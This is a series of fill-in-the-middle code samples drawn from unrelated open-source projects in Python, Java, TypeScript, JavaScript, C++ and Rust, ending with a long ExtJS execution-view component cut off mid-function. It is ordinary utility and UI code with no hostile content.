lang, review_status_code = review_status_code, tech_review_status_code = tech_review_status_code, pub_date = pub_date, last_update = last_update, tickle_date = tickle_date, isbn = isbn, encoding = encoding, rating = rating, format_code = format_code, dtd_code = dtd_code, license_code = license_code, copyright_holder = copyright_holder, sk_seriesid = sk_seriesid, abstract = abstract, short_desc = short_desc, collection_code = collection_code, layout = layout, show_search = 1) page.page[uri.lang] = page.page[uri.lang].replace('|tabdocs|', table) uri = URI('doctable' + referer_lang_ext(req)) uri.base = '../../' html = page_factory.build_page(page, uri) # Restore the original page page.page[uri.lang] = save_page return html<|fim▁end|>
<|file_name|>AutoNumberGenerator.java<|end_file_name|><|fim▁begin|>/* * Copyright 2016 Alexander Severgin * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package eu.alpinweiss.filegen.util.generator.impl; import eu.alpinweiss.filegen.model.FieldDefinition; import eu.alpinweiss.filegen.model.FieldType; import eu.alpinweiss.filegen.util.wrapper.AbstractDataWrapper; import eu.alpinweiss.filegen.util.generator.FieldGenerator; import eu.alpinweiss.filegen.util.vault.ParameterVault; import eu.alpinweiss.filegen.util.vault.ValueVault; import org.apache.commons.lang.StringUtils; import java.util.concurrent.ThreadLocalRandom; /** * {@link AutoNumberGenerator}. * * @author Aleksandrs.Severgins | <a href="http://alpinweiss.eu">SIA Alpinweiss</a> */ public class AutoNumberGenerator implements FieldGenerator { private final FieldDefinition fieldDefinition; private int startNum; public AutoNumberGenerator(FieldDefinition fieldDefinition) { this.fieldDefinition = fieldDefinition; final String pattern = this.fieldDefinition.getPattern(); if (!pattern.isEmpty()) { startNum = Integer.parseInt(pattern); } } @Override public void generate(final ParameterVault parameterVault, ThreadLocalRandom randomGenerator, ValueVault valueVault) {<|fim▁hole|> int value = startNum + (parameterVault.rowCount() * parameterVault.dataPartNumber()) + parameterVault.iterationNumber(); return new Double(value); } }); } private class IntegerDataWrapper extends AbstractDataWrapper { @Override public FieldType getFieldType() { return FieldType.INTEGER; } } }<|fim▁end|>
valueVault.storeValue(new IntegerDataWrapper() { @Override public Double getNumberValue() {
<|file_name|>IGraphPathFinder.java<|end_file_name|><|fim▁begin|>/******************************************************************************* * Copyright (c) 2010-2013, Abel Hegedus, Istvan Rath and Daniel Varro * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0 which is available at * http://www.eclipse.org/legal/epl-v20.html. * * SPDX-License-Identifier: EPL-2.0 *******************************************************************************/ package mb.nabl2.util.graph.alg.misc; import java.util.Deque; import java.util.Set; import mb.nabl2.util.graph.igraph.ITcDataSource; /** * The path finder provides methods for retrieving paths in a graph between a source node and one or more target nodes. * Use {@link ITcDataSource#getPathFinder()} for instantiating. * * @author Abel Hegedus<|fim▁hole|> * * @param <V> the node type of the graph */ public interface IGraphPathFinder<V> { /** * Returns an arbitrary path from the source node to the target node (if such exists). If there is no path * between them, an empty collection is returned. * * @param sourceNode the source node of the path * @param targetNode the target node of the path * @return the path from the source to the target, or empty collection if target is not reachable from source. */ Deque<V> getPath(V sourceNode, V targetNode); /** * Returns the collection of shortest paths from the source node to the target node (if such exists). If there is no path * between them, an empty collection is returned. * * @param sourceNode the source node of the path * @param targetNode the target node of the path * @return the collection of shortest paths from the source to the target, or empty collection if target is not reachable from source. */ Iterable<Deque<V>> getShortestPaths(V sourceNode, V targetNode); /** * Returns the collection of paths from the source node to the target node (if such exists). If there is no path * between them, an empty collection is returned. * * @param sourceNode the source node of the path * @param targetNode the target node of the path * @return the collection of paths from the source to the target, or empty collection if target is not reachable from source. */ Iterable<Deque<V>> getAllPaths(V sourceNode, V targetNode); /** * Returns the collection of paths from the source node to any of the target nodes (if such exists). If there is no path * between them, an empty collection is returned. * * @param sourceNode the source node of the path * @param targetNodes the set of target nodes of the paths * @return the collection of paths from the source to any of the targets, or empty collection if neither target is reachable from source. */ Iterable<Deque<V>> getAllPathsToTargets(V sourceNode, Set<V> targetNodes); }<|fim▁end|>
<|file_name|>IChoice.ts<|end_file_name|><|fim▁begin|>export interface IChoice { id: string; foundAt: number; desc: string; choices: string[]; defaultChoice: string; event: string;<|fim▁hole|> extraData?: any; init(opts: PartialChoice); } export type PartialChoice = { [P in keyof IChoice]?: IChoice[P]; };<|fim▁end|>
<|file_name|>ByteArrayImpl.java<|end_file_name|><|fim▁begin|>/* Copyright (c) The m-m-m Team, Licensed under the Apache License, Version 2.0 * http://www.apache.org/licenses/LICENSE-2.0 */ package net.sf.mmm.util.io.base; import net.sf.mmm.util.exception.api.NlsNullPointerException; /** * This class is similar to {@link java.nio.ByteBuffer} but a lot simpler. * * @see java.nio.ByteBuffer#wrap(byte[], int, int) * * @author Joerg Hohwiller (hohwille at users.sourceforge.net) * @since 1.1.0 */ public class ByteArrayImpl extends AbstractByteArray { private final byte[] buffer; private int minimumIndex; private int maximumIndex; /** * The constructor. * * @param capacity is the {@code length} of the internal {@link #getBytes() buffer}. */ public ByteArrayImpl(int capacity) { this(new byte[capacity], 0, -1); } /** * The constructor. * * @param buffer is the internal {@link #getBytes() buffer}. */ public ByteArrayImpl(byte[] buffer) { this(buffer, 0, buffer.length - 1); } /** * The constructor. * * @param buffer is the internal {@link #getBytes() buffer}. * @param startIndex is the {@link #getCurrentIndex() current index} as well as the {@link #getMinimumIndex() minimum * index}. * @param maximumIndex is the {@link #getMaximumIndex() maximum index}. */ public ByteArrayImpl(byte[] buffer, int startIndex, int maximumIndex) { super(); if (buffer == null) { throw new NlsNullPointerException("buffer"); } this.buffer = buffer; this.minimumIndex = startIndex; this.maximumIndex = maximumIndex; } @Override public byte[] getBytes() { return this.buffer; } @Override public int getCurrentIndex() { <|fim▁hole|> return this.minimumIndex; } @Override public int getMinimumIndex() { return this.minimumIndex; } @Override public int getMaximumIndex() { return this.maximumIndex; } /** * This method sets the {@link #getMaximumIndex() maximumIndex}. This may be useful if the buffer should be reused. * <br> * <b>ATTENTION:</b><br> * Be very careful and only use this method if you know what you are doing! * * @param maximumIndex is the {@link #getMaximumIndex() maximumIndex} to set. It has to be in the range from {@code 0} * ( <code>{@link #getCurrentIndex() currentIndex} - 1</code>) to <code>{@link #getBytes()}.length</code>. */ protected void setMaximumIndex(int maximumIndex) { this.maximumIndex = maximumIndex; } @Override public ByteArrayImpl createSubArray(int minimum, int maximum) { checkSubArray(minimum, maximum); return new ByteArrayImpl(this.buffer, minimum, maximum); } @Override public String toString() { return new String(this.buffer, this.minimumIndex, getBytesAvailable()); } }<|fim▁end|>
<|file_name|>macro-stack.js<|end_file_name|><|fim▁begin|>'use strict' import Macro from './macro.js'<|fim▁hole|>export default class MacroStack { /** * コンストラクタ */ constructor () { /** * [*store manual] スタックの中身 * @private * @type {Array} */ this.stack = [] } /** * スタックへ積む * @param {Macro} macro マクロ */ push (macro) { this.stack.push(macro) } /** * スタックから降ろす * @return {Macro} マクロ */ pop () { return this.stack.pop() } /** * スタックが空かどうか * @return {boolean} 空ならtrue */ isEmpty () { return this.stack.length <= 0 } /** * スタックの一番上のマクロを返す * @return {Macro} マクロ */ getTop () { if (this.isEmpty()) { return null } else { return this.stack[this.stack.length - 1] } } /** * 状態を保存 * @param {number} tick 時刻 * @return {object} 保存データ */ store (tick) { // Generated by genStoreMethod.js let data = {} // 保存 // 以下、手動で復元する // store this.stack data.stack = [] this.stack.forEach((macro) => { data.stack.push(macro.store(tick)) }) return data } /** * 状態を復元 * @param {object} data 復元データ * @param {number} tick 時刻 * @param {AsyncTask} task 非同期処理管理 */ restore (data, tick, task) { // Generated by genRestoreMethod.js // 復元 // 以下、手動で復元する // restore this.stack this.stack = [] // console.log(data) data.stack.forEach((macroData) => { let macro = new Macro('') macro.restore(macroData, tick, task) this.stock.push(macro) }) } }<|fim▁end|>
/** * マクロスタック */
<|file_name|>NITFBufferList.cpp<|end_file_name|><|fim▁begin|>/* ========================================================================= * This file is part of NITRO * ========================================================================= * * (C) Copyright 2004 - 2017, MDA Information Systems LLC * * NITRO is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this program; if not, If not, * see <http://www.gnu.org/licenses/>. * */ #include <stdlib.h> #include "nitf/NITFBufferList.hpp" #undef min #undef max namespace nitf { NITFBuffer::NITFBuffer(const void* data, size_t numBytes) noexcept : mData(data), mNumBytes(numBytes) { } size_t NITFBufferList::getTotalNumBytes() const noexcept { size_t numBytes(0); for (const auto& buffer : mBuffers) { numBytes += buffer.mNumBytes; } return numBytes; } size_t NITFBufferList::getNumBlocks(size_t blockSize) const { if (blockSize == 0) { throw except::Exception(Ctxt("Block size must be positive")); } return getTotalNumBytes() / blockSize; } size_t NITFBufferList::getNumBytesInBlock( size_t blockSize, size_t blockIdx) const { const size_t numBlocks(getNumBlocks(blockSize)); if (blockIdx >= numBlocks) { std::ostringstream ostr; ostr << "Block index " << blockIdx << " is out of bounds - only " << numBlocks << " blocks with a block size of " << blockSize; throw except::Exception(Ctxt(ostr.str())); } const size_t numBytes = (blockIdx == numBlocks - 1) ? getTotalNumBytes() - (numBlocks - 1) * blockSize : blockSize; return numBytes; } template<typename T> const void* getBlock_(const std::vector<NITFBuffer>& mBuffers, size_t blockSize, size_t blockIdx, std::vector<T>& scratch, const size_t numBytes) { const size_t startByte = blockIdx * blockSize; size_t byteCount(0); for (size_t ii = 0; ii < mBuffers.size(); ++ii) { const NITFBuffer& buffer(mBuffers[ii]); if (byteCount + buffer.mNumBytes >= startByte) { // We found our first buffer const size_t numBytesToSkip = startByte - byteCount; const size_t numBytesLeftInBuffer = buffer.mNumBytes - numBytesToSkip; const auto startPtr = static_cast<const T*>(buffer.mData) + numBytesToSkip; if (numBytesLeftInBuffer >= numBytes) { // We have contiguous memory in this buffer - we don't need to // copy anything return startPtr; } else { // The bytes we want span 2+ buffers - we'll use scratch space // and copy in the bytes we want to that scratch.resize(numBytes); size_t numBytesCopied(0); memcpy(scratch.data(), startPtr, numBytesLeftInBuffer); <|fim▁hole|> for (size_t jj = ii + 1; jj < mBuffers.size(); ++jj) { const NITFBuffer& curBuffer(mBuffers[jj]); const size_t numBytesToCopy = std::min(curBuffer.mNumBytes, numBytes - numBytesCopied); memcpy(&scratch[numBytesCopied], curBuffer.mData, numBytesToCopy); numBytesCopied += numBytesToCopy; if (numBytesCopied == numBytes) { break; } } return scratch.data(); } } byteCount += buffer.mNumBytes; } // Should not be possible to get here return nullptr; } const void* NITFBufferList::getBlock(size_t blockSize, size_t blockIdx, std::vector<sys::byte>& scratch, size_t& numBytes) const { numBytes = getNumBytesInBlock(blockSize, blockIdx); return getBlock_(mBuffers, blockSize, blockIdx, scratch, numBytes); } const void* NITFBufferList::getBlock(size_t blockSize, size_t blockIdx, std::vector<std::byte>& scratch, size_t& numBytes) const { numBytes = getNumBytesInBlock(blockSize, blockIdx); return getBlock_(mBuffers, blockSize, blockIdx, scratch, numBytes); } }<|fim▁end|>
numBytesCopied += numBytesLeftInBuffer;
<|file_name|>Toast.js<|end_file_name|><|fim▁begin|>import React from 'react' import styles from './Toast.scss' export default ({ className, message, show }) => ( <div className={[ styles.container, 'animated', 'fadeIn', ].concat(className).join(' ')} style={{ display: show ? 'block' : 'none' }} > {message}<|fim▁hole|><|fim▁end|>
</div> )
<|file_name|>get.js<|end_file_name|><|fim▁begin|>var params = { title: 'Hello Dynamic :-)', resourcesPath: portal.url.createResourceUrl('') }; var body = system.thymeleaf.render('view/page.html', params);<|fim▁hole|>portal.response.body = body;<|fim▁end|>
portal.response.contentType = 'text/html';
<|file_name|>issue-35668.rs<|end_file_name|><|fim▁begin|>// Copyright 2016 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. fn func<'a, T>(a: &'a [T]) -> impl Iterator<Item=&'a T> { a.iter().map(|a| a*a) //~^ ERROR binary operation `*` cannot be applied to type `&T`<|fim▁hole|> for k in func(&a) { println!("{}", k); } }<|fim▁end|>
} fn main() { let a = (0..30).collect::<Vec<_>>();
<|file_name|>nurturing.py<|end_file_name|><|fim▁begin|>from base import BaseClient NURTURING_API_VERSION = '1' class NurturingClient(BaseClient): def _get_path(self, subpath): return 'nurture/v%s/%s' % (NURTURING_API_VERSION, subpath) def get_campaigns(self, **options): return self._call('campaigns', **options) def get_leads(self, campaign_guid, **options): return self._call('campaign/%s/list' % campaign_guid, **options) def get_history(self, lead_guid, **options):<|fim▁hole|> def unenroll_lead(self, campaign_guid, lead_guid, **options): return self._call('campaign/%s/remove' % campaign_guid, data=lead_guid, method='POST', **options)<|fim▁end|>
return self._call('lead/%s' % lead_guid, **options) def enroll_lead(self, campaign_guid, lead_guid, **options): return self._call('campaign/%s/add' % campaign_guid, data=lead_guid, method='POST', **options)
<|file_name|>ExecutionView.js<|end_file_name|><|fim▁begin|>Ext.define('Redwood.view.ExecutionView', { extend: 'Ext.panel.Panel', alias: 'widget.executionview', overflowY: 'auto', bodyPadding: 5, dataRecord: null, dirty: false, loadingData: true, viewType: "Execution",<|fim▁hole|> initComponent: function () { var me = this; if (me.dataRecord == null){ me.itemId = Ext.uniqueId(); } else{ me.itemId = me.dataRecord.get("_id"); } this.markDirty = function(){ this.dirty = true; if(me.title.charAt(me.title.length-1) != "*"){ me.setTitle(me.title+"*") } }; me.on("beforeclose",function(panel){ if (this.dirty == true){ var me = this; Ext.Msg.show({ title:'Save Changes?', msg: 'You are closing a tab that has unsaved changes. Would you like to save your changes?', buttons: Ext.Msg.YESNOCANCEL, icon: Ext.Msg.QUESTION, fn: function(id){ if (id == "no"){ me.destroy(); } if (id == "yes"){ var editor = me.up('executionsEditor'); editor.fireEvent('save'); me.destroy(); } } }); return false; } }); var variables = []; var variablesStore = Ext.data.StoreManager.lookup('Variables'); variablesStore.query("_id",/.*/).each(function(variable){ var foundVarValue = variable.get("value"); if (me.dataRecord != null){ me.dataRecord.get("variables").forEach(function(recordedVariable){ if(recordedVariable._id === variable.get("_id")){ foundVarValue = recordedVariable.value; } }) } if (variable.get("taskVar") == true){ variables.push({possibleValues:variable.get("possibleValues"),tag:variable.get("tag"),value:foundVarValue,name:variable.get("name"),_id:variable.get("_id")}) } }); var linkedVarStore = new Ext.data.Store({ sorters: [{ property : 'name' }], fields: [ {name: 'name', type: 'string'}, {name: 'value', type: 'string'}, {name: 'tag', type: 'array'}, {name: 'possibleValues', type: 'array'}, {name: '_id', type: 'string'} ], data: variables, listeners:{ update:function(){ if (me.loadingData === false){ me.markDirty(); } } } }); me.variablesListener = function(options,eOpts){ if (options.create){ options.create.forEach(function(variable){ if (variable.get("taskVar") == true){ linkedVarStore.add(variable); } }); } if (options.destroy){ options.destroy.forEach(function(variable){ if (variable.get("taskVar") == true){ linkedVarStore.remove(linkedVarStore.findRecord("_id", variable.get("_id"))); } }); } if (options.update){ options.update.forEach(function(variable){ var linkedRecord = linkedVarStore.findRecord("_id", variable.get("_id")); if (variable.get("taskVar") == true){ //if null it means the taskVar flag changed and we need to add instead of update if (linkedRecord == null){ linkedVarStore.add(variable); return; } linkedRecord.set("name", variable.get("name")); linkedRecord.set("tag", variable.get("tag")); linkedRecord.set("possibleValues", variable.get("possibleValues")); } //looks like the variable no longer belongs here else if(linkedRecord != null){ linkedVarStore.remove(linkedRecord); } }); } }; variablesStore.on("beforesync",me.variablesListener); var variablesGrid = new Ext.grid.Panel({ listeners:{ beforeedit: function(editor,e){ var data = []; if(e.field === "value"){ e.record.get("possibleValues").forEach(function(value){ if (!Ext.Array.contains(e.record.get("value"),value)){ data.push({text:Ext.util.Format.htmlEncode(value),value:value}); } }); var valuesStore = new Ext.data.Store({ fields: [ {type: 'string', name: 'value'} ], data: data }); e.column.setEditor({ xtype:"combo", displayField:"value", overflowY:"auto", descField:"value", height:24, labelWidth: 100, forceSelection:false, createNewOnEnter:true, encodeSubmitValue:true, autoSelect: true, store: valuesStore, valueField:"value", queryMode: 'local', removeOnDblClick:true }); } } }, store: linkedVarStore, itemId:"executionVars", selType: 'rowmodel', viewConfig: { markDirty: false }, plugins: [ Ext.create('Ext.grid.plugin.CellEditing', { clicksToEdit: 1 })], maxHeight: 250, minHeight: 150, manageHeight: true, flex: 1, overflowY: 'auto', columns:[ { header: 'Name', dataIndex: 'name', width: 200 }, { header: 'Value', dataIndex: 'value', itemId: "varValue", renderer:function(value, meta, record){ return Ext.util.Format.htmlEncode(value); }, editor: {}, flex: 1 }, { header: 'Tags', dataIndex: 'tag', //flex: 1, width: 250 } ] }); var machines = []; var machinesStore = Ext.data.StoreManager.lookup('Machines'); //machinesStore.each(function(machine){ machinesStore.query("_id",/.*/).each(function(machine){ //var foundMachine = false; var baseState = null; var baseStateTCID = null; var result = null; var resultID = null; var threads = 1; if ((me.dataRecord != null)&&(me.dataRecord.get("machines"))){ me.dataRecord.get("machines").forEach(function(recordedMachine){ if(recordedMachine._id === machine.get("_id")){ baseState = recordedMachine.baseState; baseStateTCID = recordedMachine.baseStateTCID; result = recordedMachine.result; resultID = recordedMachine.resultID; if (recordedMachine.threads){ threads = recordedMachine.threads; } else{ threads = 1; } } }) } if (baseStateTCID == null) baseStateTCID = Ext.uniqueId(); machines.push({host:machine.get("host"),machineVars:machine.get("machineVars"),tag:machine.get("tag"),state:machine.get("state"),maxThreads:machine.get("maxThreads"),threads:threads,result:result,resultID:resultID,baseState:baseState,baseStateTCID:baseStateTCID,description:machine.get("description"),roles:machine.get("roles"),port:machine.get("port"),vncport:machine.get("vncport"),_id:machine.get("_id")}) }); var linkedMachineStore = new Ext.data.Store({ sorters: [{ property : 'host' }], fields: [ {name: 'host', type: 'string'}, {name: 'vncport', type: 'string'}, {name: 'port', type: 'string'}, {name: 'maxThreads', type: 'int'}, {name: 'threads', type: 'int'}, {name: 'tag', type: 'array'}, {name: 'state', type: 'string'}, {name: 'baseState', type: 'string'}, {name: 'resultID', type: 'string'}, {name: 'baseStateTCID', type: 'string'}, {name: 'result', type: 'string'}, {name: 'description', type: 'string'}, {name: 'machineVars', type: 'array'}, {name: 'roles', type: 'array'}, {name: '_id', type: 'string'} ], data: machines, listeners:{ update:function(store, record, operation, modifiedFieldNames){ if (me.loadingData === false){ if (modifiedFieldNames){ modifiedFieldNames.forEach(function(field){ if (field === "baseState"){ me.markDirty(); } }); } } } } }); me.machinesListener = function(options,eOpts){ if (options.create){ options.create.forEach(function(r){ r.set("threads",1); linkedMachineStore.add(r); }); } if (options.destroy){ options.destroy.forEach(function(r){ if (r) linkedMachineStore.remove(linkedMachineStore.query("_id", r.get("_id")).getAt(0)); }); } if (options.update){ options.update.forEach(function(r){ var linkedRecord = linkedMachineStore.query("_id", r.get("_id")).getAt(0); if(!linkedRecord) return; if (r.get("host") != linkedRecord.get("host")){ linkedRecord.set("host", r.get("host")); } if (r.get("maxThreads") != linkedRecord.get("maxThreads")){ linkedRecord.set("maxThreads", r.get("maxThreads")); } if (r.get("port") != linkedRecord.get("port")){ linkedRecord.set("port", r.get("port")); } if (r.get("vncport") != linkedRecord.get("vncport")){ linkedRecord.set("vncport", r.get("vncport")); } if (Ext.arraysEqual(r.get("tag"),linkedRecord.get("tag")) == false){ linkedRecord.set("tag", r.get("tag")); } if (r.get("description") != linkedRecord.get("description")){ linkedRecord.set("description", r.get("description")); } if (Ext.arraysEqual(r.get("roles"),linkedRecord.get("roles")) == false){ linkedRecord.set("roles", r.get("roles")); } if (r.get("state") != linkedRecord.get("state")){ linkedRecord.set("state", r.get("state")); } if (Ext.arraysEqual(r.get("machineVars"),linkedRecord.get("machineVars")) == false){ linkedRecord.set("machineVars", r.get("machineVars")); } }); } }; machinesStore.on("beforesync", me.machinesListener); var machinesGrid = new Ext.grid.Panel({ store: linkedMachineStore, itemId:"executionMachines", selType: 'rowmodel', tbar:{ xtype: 'toolbar', dock: 'top', items: [ { width: 400, fieldLabel: 'Search', labelWidth: 50, xtype: 'searchfield', paramNames: ["tag","host","description","roles"], store: linkedMachineStore } ] }, viewConfig: { preserveScrollOnRefresh: true, markDirty: false }, plugins: [ Ext.create('Ext.grid.plugin.CellEditing', { clicksToEdit: 1, listeners:{ beforeedit: function(editor,e){ if(e.field == "threads"){ machinesGrid.editingRecord = e.record; //editor.setMaxValue(e.record.get("maxThreads")) } } } })], maxHeight: 250, minHeight: 150, manageHeight: true, flex: 1, overflowY: 'auto', selModel: Ext.create('Ext.selection.CheckboxModel', { singleSelect: false, sortable: true, //checkOnly: true, stateful: true, showHeaderCheckbox: true }), listeners:{ edit: function(editor, e ){ machinesGrid.getSelectionModel().select([e.record]); } }, columns:[ { header: 'Host Name/IP', dataIndex: 'host', itemId:"hostMachineColumn", width: 200, renderer: function (value, meta, record) { return "<a style= 'color: blue;' href='javascript:vncToMachine(&quot;"+ value +"&quot;,&quot;"+ record.get("vncport") +"&quot;)'>" + value +"</a>"; } }, { header: 'Threads', dataIndex: 'threads', //flex: 1, width: 100, editor: { xtype: 'numberfield', allowBlank: false, minValue: 1, listeners:{ focus: function(field){ field.setMaxValue(machinesGrid.editingRecord.get("maxThreads")) } } } }, { header: 'Max Threads', dataIndex: 'maxThreads', //flex: 1, width: 100 }, { header: 'Port', dataIndex: 'port', width: 100 }, { header: 'Roles', dataIndex: 'roles', width: 200 }, { header: 'State', dataIndex: 'state', width: 120, renderer: function(value,record){ if (value.indexOf("Running") != -1){ return "<p style='color:green'>"+value+"</p>"; } return value; } }, { header: 'Description', dataIndex: 'description', flex: 1 }, { header: "Base State Result", dataIndex: "result", width: 120, renderer: function(value,style,record){ //style.tdAttr = 'data-qtip="' + record.get("error") + '"'; if((value == "") &&(record.get("resultID")) &&(record.get("baseState"))){ value = "Running"; } if ((value == "Passed") || (value == "Running")){ return "<a style= 'color: blue;' href='javascript:openResultDetails(&quot;"+ record.get("resultID") +"&quot;)'>" + value +"</a>"; //return "<p style='color:green'>"+value+"</p>" } else if (value == "Failed"){ return "<a style= 'color: red;' href='javascript:openResultDetails(&quot;"+ record.get("resultID") +"&quot;)'>" + value +"</a>"; //return "<p style='color:red'>"+value+"</p>" } else{ return value; } } }, { header: 'Machine Base State', dataIndex: "baseState", width:200, renderer: function(value,metaData,record, rowIndex, colIndex, store, view){ if (value){ var action = Ext.data.StoreManager.lookup('Actions').getById(value); if(action){ return action.get("name"); } else{ record.set("baseState",null); record.set("result",null); return ""; } var actionName = Ext.data.StoreManager.lookup('Actions').getById(value).get("name"); var url = "<a style= 'color: red;' href='javascript:openAction(&quot;"+ record.get("baseState") +"&quot;)'>" + actionName +"</a>"; return url; } else{ if(record.get("result")) record.set("result",null); return value } }, editor: { xtype: "actionpicker", itemId: "actionpicker", width: 400, plugins:[ Ext.create('Ext.ux.SearchPlugin') ], paramNames:["tag","name"], store: Ext.data.StoreManager.lookup('ActionsCombo'), autoSelect:false, forceSelection:false, queryMode: 'local', triggerAction: 'all', lastQuery: '', typeAhead: false, displayField: 'name', valueField: '_id' } }, { header: 'Tags', dataIndex: 'tag', //flex: 1, width: 250 } ] }); var templates = []; var templatesStore = Ext.data.StoreManager.lookup('Templates'); templatesStore.query("_id",/.*/).each(function(template){ //var foundMachine = false; var baseState = null; var baseStateTCID = null; var result = null; var resultID = null; var threads = 1; var instances = 1; if ((me.dataRecord != null)&&(me.dataRecord.get("templates"))){ me.dataRecord.get("templates").forEach(function(recordedTemplate){ if(recordedTemplate._id === template.get("_id")){ //baseState = recordedTemplate.baseState; //baseStateTCID = recordedTemplate.baseStateTCID; result = recordedTemplate.result; //resultID = recordedTemplate.resultID; if (recordedTemplate.threads){ threads = recordedTemplate.threads; } else{ threads = 1; } if (recordedTemplate.instances){ instances = recordedTemplate.instances; } else{ instances = 1; } } }) } //if (baseStateTCID == null) baseStateTCID = Ext.uniqueId(); templates.push({name:template.get("name"),threads:threads,instances:instances,result:result,description:template.get("description"),_id:template.get("_id")}); //templates.push({host:template.get("name"),tag:template.get("tag"),state:template.get("state"),maxThreads:template.get("maxThreads"),threads:threads,result:result,resultID:resultID,baseState:baseState,baseStateTCID:baseStateTCID,description:template.get("description"),roles:template.get("roles"),port:template.get("port"),vncport:template.get("vncport"),_id:template.get("_id")}) }); var linkedTemplateStore = new Ext.data.Store({ sorters: [{ property : 'name' }], fields: [ {name: 'name', type: 'string'}, {name: 'instances', type: 'int'}, {name: 'threads', type: 'int'}, {name: 'result', type: 'string'}, {name: 'description', type: 'string'}, {name: '_id', type: 'string'} ], data: templates/*, listeners:{ update:function(store, record, operation, modifiedFieldNames){ if (me.loadingData === false){ if (modifiedFieldNames){ modifiedFieldNames.forEach(function(field){ if (field === "baseState"){ me.markDirty(); } }); } } } } */ }); me.templatesListener = function(options,eOpts){ if (options.create){ options.create.forEach(function(r){ r.set("threads",1); r.set("instances",1); linkedTemplateStore.add(r); }); } if (options.destroy){ options.destroy.forEach(function(r){ if (r) linkedTemplateStore.remove(linkedTemplateStore.query("_id", r.get("_id")).getAt(0)); }); } if (options.update){ options.update.forEach(function(r){ var linkedRecord = linkedTemplateStore.query("_id", r.get("_id")).getAt(0); if(!linkedRecord) return; if (r.get("name") != linkedRecord.get("name")){ linkedRecord.set("name", r.get("name")); } if (r.get("description") != linkedRecord.get("description")){ linkedRecord.set("description", r.get("description")); } }); } }; templatesStore.on("beforesync", me.templatesListener); var templatesGrid = new Ext.grid.Panel({ store: linkedTemplateStore, itemId:"executionTemplates", selType: 'rowmodel', tbar:{ xtype: 'toolbar', dock: 'top', items: [ { width: 400, fieldLabel: 'Search', labelWidth: 50, xtype: 'searchfield', paramNames: ["name"], store: linkedTemplateStore } ] }, viewConfig: { preserveScrollOnRefresh: true, markDirty: false }, plugins: [ Ext.create('Ext.grid.plugin.CellEditing', { clicksToEdit: 1, listeners:{ beforeedit: function(editor,e){ if(e.field == "threads"){ templatesGrid.editingRecord = e.record; } else if(e.field == "instances"){ templatesGrid.editingRecord = e.record; } } } })], maxHeight: 250, minHeight: 150, manageHeight: true, flex: 1, overflowY: 'auto', selModel: Ext.create('Ext.selection.CheckboxModel', { singleSelect: true, mode:"SINGLE", sortable: true, stateful: true, showHeaderCheckbox: true }), listeners:{ edit: function(editor, e ){ templatesGrid.getSelectionModel().select([e.record]); } }, columns:[ { header: 'Name', dataIndex: 'name', itemId:"nameColumn", width: 200 }, { header: 'Instances', dataIndex: 'instances', width: 100, editor: { xtype: 'numberfield', allowBlank: false, minValue: 1, listeners:{ focus: function(field){ //field.setMaxValue(machinesGrid.editingRecord.get("maxThreads")) } } } }, { header: 'Threads', dataIndex: 'threads', width: 100, editor: { xtype: 'numberfield', allowBlank: false, minValue: 1, listeners:{ focus: function(field){ //field.setMaxValue(machinesGrid.editingRecord.get("maxThreads")) } } } }, { header: 'Description', dataIndex: 'description', flex: 1 }, { header: "Result", dataIndex: "result", width: 120 /* renderer: function(value,style,record){ //style.tdAttr = 'data-qtip="' + record.get("error") + '"'; if((value == "") &&(record.get("resultID")) &&(record.get("baseState"))){ value = "Running"; } if ((value == "Passed") || (value == "Running")){ return "<a style= 'color: blue;' href='javascript:openResultDetails(&quot;"+ record.get("resultID") +"&quot;)'>" + value +"</a>"; //return "<p style='color:green'>"+value+"</p>" } else if (value == "Failed"){ return "<a style= 'color: red;' href='javascript:openResultDetails(&quot;"+ record.get("resultID") +"&quot;)'>" + value +"</a>"; //return "<p style='color:red'>"+value+"</p>" } else{ return value; } } */ } ] }); var executionTCStore = new Ext.data.Store({ storeId: "ExecutionTCs"+this.itemId, //groupField: 'status', sorters: [{ property : 'name' }], fields: [ {name: 'name', type: 'string'}, {name: 'tag', type: 'array'}, {name: 'status', type: 'string'}, {name: 'host', type: 'string'}, {name: 'vncport', type: 'string'}, {name: 'resultID', type: 'string'}, {name: 'result', type: 'string'}, {name: 'startAction', type: 'string'}, {name: 'endAction', type: 'string'}, {name: 'startdate', type: 'date'}, {name: 'enddate', type: 'date'}, {name: 'runtime', type: 'string'}, {name: 'rowIndex' }, {name: 'tcData', convert:null}, {name: 'updated', type: 'boolean'}, {name: 'error', type: 'string'}, {name: 'note', type: 'string'}, {name: '_id', type: 'string'}, {name: 'testcaseID', type: 'string'} ], data: [] }); me.executionTCStore = executionTCStore; me.updateTotals = function(execution){ me.down("#totalPassed").setRawValue(execution.passed); me.down("#totalFailed").setRawValue(execution.failed); me.down("#totalNotRun").setRawValue(execution.notRun); me.down("#totalTestCases").setRawValue(execution.total); me.down("#runtime").setRawValue(execution.runtime); me.chartStore.findRecord("name","Passed").set("data",execution.passed); me.chartStore.findRecord("name","Failed").set("data",execution.failed); me.chartStore.findRecord("name","Not Run").set("data",execution.notRun); }; me.updateCloudStatus = function(execution){ me.down("#cloudStatus").setValue(execution.cloudStatus); }; me.initialTotals = function(){ if (me.dataRecord){ me.down("#totalPassed").setRawValue(me.dataRecord.get("passed")); me.down("#totalFailed").setRawValue(me.dataRecord.get("failed")); me.down("#totalNotRun").setRawValue(me.dataRecord.get("notRun")); me.down("#totalTestCases").setRawValue(me.dataRecord.get("total")); me.down("#runtime").setRawValue(me.dataRecord.get("runtime")); 